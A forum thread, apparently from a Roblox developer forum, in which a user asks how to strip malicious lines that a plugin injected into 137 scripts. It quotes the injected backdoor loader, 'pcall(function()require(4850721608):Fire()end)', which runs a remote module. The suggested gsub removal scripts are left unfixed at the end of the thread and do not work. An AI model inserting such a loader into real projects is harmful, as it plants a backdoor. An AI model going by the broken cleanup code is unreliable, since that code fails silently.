Need help removing a certain line of codes in all scripts

Help and Feedback Scripting Support
#1

Hi, one of my developers installed a plugin that we didn’t know about and has accidentally infected all of our scripts with about 8 lines of code, requiring a virus.

How would I remove those 8 lines from all lines of code?

Thanks
ryan

2 Likes
#2

Using Ctrl + Shift + F might be a great idea. You can just search for the thing that you want to delete and then remove it one by one.

#3

I was doing that originally, but I have spent about an hour so far and only put a dent he infected like 5 of my games.

#4

Then the only idea that comes to my head is making your own kind of plugin, that would automatically search all of the scripts on a place and removing the specific lines of code if found.

1 Like
#5

You could possibly loop through all scripts, and use gsub to look for the string needed to remove, and replace it with nothing. (‘’)

Like so:

for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				[[

				]], -- Put the code to be removed between the brackets.
				''
			)
			
			Descendant.Source = Replacement
		end
	end, Desc)
end

Note that this is needed to be run on the command bar or a plugin.

Edit: Fixed the code.

3 Likes
#6

This would work. The only issue is that you’d have to wrap each service in a pcall in case you’re checking services that aren’t normally accessible (I am pretty sure).

Instead, you could do:

for _, service in pairs(game:GetChildren()) do
    pcall(function() -- add the pcall here, I am pretty sure indexing an instance that the user doesn't have access to will error.
        for i,v in pairs(service:GetDescendants()) do
            -- clear stuff here
        end
    end)
end

edit: I am mistaken, it works.

1 Like
#7 
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				[[
				'pcall(function()require([Asset ID - Removed because it is a virus]):Fire()end)'
				]], -- Put the code to be removed between the brackets.
				''
			)
			
			Descendant.Source = Replacement
		end
	end, Desc)
end

That doesn’t seem to be doing anything, and I am not getting an output of an error, what am I doing wrong?

I tried this one too, still

	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				[[
				pcall(function()require(ID):Fire()end)
				]], -- Put the code to be removed between the brackets.
				''
			)

			Descendant.Source = Replacement
		end
	end, Desc)
end
#8

Try removing the spaces between them. Like so:

[[pcall(function()require(ID):Fire()end)]]
2 Likes
#9

Shouldn’t the piece of code that is supposed to be removed inside of quotes instead of double brackets?

#10

That was mainly used because the code should be multi-lined. Therefore brackets would be needed.

1 Like
#11 
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				[[pcall(function()require(ID):Fire()end)]], -- Put the code to be removed between the brackets.
				''
			)
			
			Descendant.Source = Replacement
		end
	end, Desc)
end

I just get an output saying what script ran, but nothing actually gets removed.

#12

Are you running it on the command bar?

#13

Yes. I am running it through the command bar.

Output:

> for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				[[pcall(function()require(4850721608):Fire()end)]], -- Put the code to be removed between the brackets.
				''
			)
			
			Descendant.Source = Replacement
		end
	end, Desc)
end
#14

Can you pass the exact code which is supposed to be the infection?

#15 
pcall(function()require(4850721608):Fire()end)
#16

I believe @PhoenixRessusection meant the eight lines of code that were added to the scripts by the plugin.

#17

Yea its just 8 lines of that in 137 of my scripts.

1 Like
#18

Oh, okay, sorry I thought that was the line of code that added the code.

1 Like
#19

I am new and trying to learn. What exactly is this code doing? Is it forcing your scripts to require an asset that you don’t possess, therefore ‘breaking’ all your scripts?

#20

It is requiring some asset which is a module script. Then it calls a function in the malcious module script and that cause your game to break.